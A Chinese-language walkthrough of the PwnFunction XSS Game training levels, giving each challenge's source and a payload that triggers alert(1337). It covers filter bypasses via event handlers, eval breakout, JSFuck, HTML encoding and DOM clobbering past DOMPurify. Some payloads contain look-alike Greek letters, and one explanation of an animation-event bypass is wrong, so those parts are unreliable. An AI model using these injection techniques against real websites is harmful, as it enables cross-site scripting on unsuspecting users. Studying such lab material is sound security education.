XSS GAME

源网站：XSS 游戏 - 学习 XSS 变得简单！ |创建者 PwnFunction

以下为解码工具：

在线 JSFuck 加密 - 百川在线工具箱 (chaitin.cn)

CyberChef

1、Ma Spaghet!

条件

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

源码

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

因为本关没有如何绕过，输入一下即可： 

?somebody=<svg%20οnlοad=alert(1337)>

2、Jefff

源码：

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

用第一个"将函数闭合，再执行alert，然后闭合后一个"：

?jeff=123";alert(1337);"

3、Ugandan Knuckles

源码：

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

此题因为要求用户不能交互，因此需要一个属性‘autofocus’——表示元素应在页面加载时或其所属的 <dialog> 显示时被聚焦：

?wey="οnfοcus=alert(1337)%20autofocus="

注：

1.onclick是在对象被鼠标点击或者选取时触发

2.onfocus是在对象获得焦点时触发，获得焦点可以通过点击鼠标或者用TAB键

4、Ricardo Milos

源码：

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

此题也没有过滤，直接使用javascript弹窗即可：

?ricardo=javascript:alert(1337)

5、Ah That's Hawt

源码：

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

此题过滤[、(、`、)、\，直接使用alert()显然不行，但是没有过滤html编码：

<svg οnlοad="alert(1337)"> --->

html编码 第一排为10进制，第二排为16进制，均可实现 &#97;&#108;&#101;&#114;&#116;&lpar;&#49;&#51;&#51;&#55;&rpar; <svg οnlοad="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;"> --->

url编码 %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6、Ligma

源码：

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

由源码分析可得，函数过滤了字母与数字，我们可以采用JSFuck绕过，

alert(1337) ---> 结果jsfuck加密：

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

由于其中含有特殊字符，所以我们需要结果html编码，内容过长：

"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"

在html编码前面加上——?balls=即可

7、Mafia

源码：

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

由源码可得：1、限制字符长度50。2、将`'"+-!\[]被替换为_、alert被替换为_。

方法一：

构造函数 --- Function()

Function(/ALERT(1337)/.source.toLowerCase())()

最后一个()是为了执行前面的函数，因为过滤了小写，所以我们利用大写来绕过，其中的toLowerCase将大写变小写——js严格区分大小写

方法二：

我们先介绍一个函数——parseInt

由于0-t的进制至少30位，所以我们转化为30进制

toString——将对象转化为一个初始值

eval(8680439..toString(30))(1337)

方法三：

答案：eval(location.hash.slice(1))#alert(1337)

location.hash——将#及后面的值取出，slice截取从第一位开始的值：

也就是将alert(1337)拿出放入()里面，得到eval(alert(1337))

8、Ok, Boomer

源码：

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

此题采用DOMPurify框架来过滤非法字符，

DOM破坏——DOM破坏是一种高级技术，可以将HTML注入页面中以操纵DOM并最终更改网站上JavaScript的行为。 

tel为DOMPurify中一个合法的协议

创造一个id=ok，然后自动调用tostring()方法，将href里面的值放入ok里面，两秒后执行。

?boomer=<a%20id=ok%20href=tel:alert(1337)>

Dom破坏案例

源码：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <script>alert(1)</script>
    </title>
</head>
<body>
    <!-- <div class="123" id="234">lala</div>// <div class="123" id="234">lala</div>//方法一 -->
    <!-- <style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>//方法二 -->
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    // console.log(root.querySelectorAll('*'))

    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name)
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>
</html>

方法一：

两个或多个<svg>标签均可执行

在removeAttribute执行前将<svg>执行——需要了解js底层代码

#<svg><svg%20οnlοad=alert(1)>

方法二：

答案在代码内部。

首先，<style>@keyframes x{}</style>定义了一个名为"x"的关键帧动画，但没有指定任何动画效果。关键帧动画用于创建复杂的动画效果，但在这个例子中，它没有实际作用。

接下来，<form style="animation-name: x" onanimationstart="(1)">是一个表单元素，它的样式属性设置为使用名为"x"的关键帧动画。然而，由于关键帧动画没有定义任何效果，所以这个动画实际上不会发生。

此外，onanimationstart="(1)"是一个事件处理器，它在动画开始时触发。但是，这里的表达式(1)并不是有效的JavaScript代码，因此它不会产生任何效果。

只是将两个input表单删除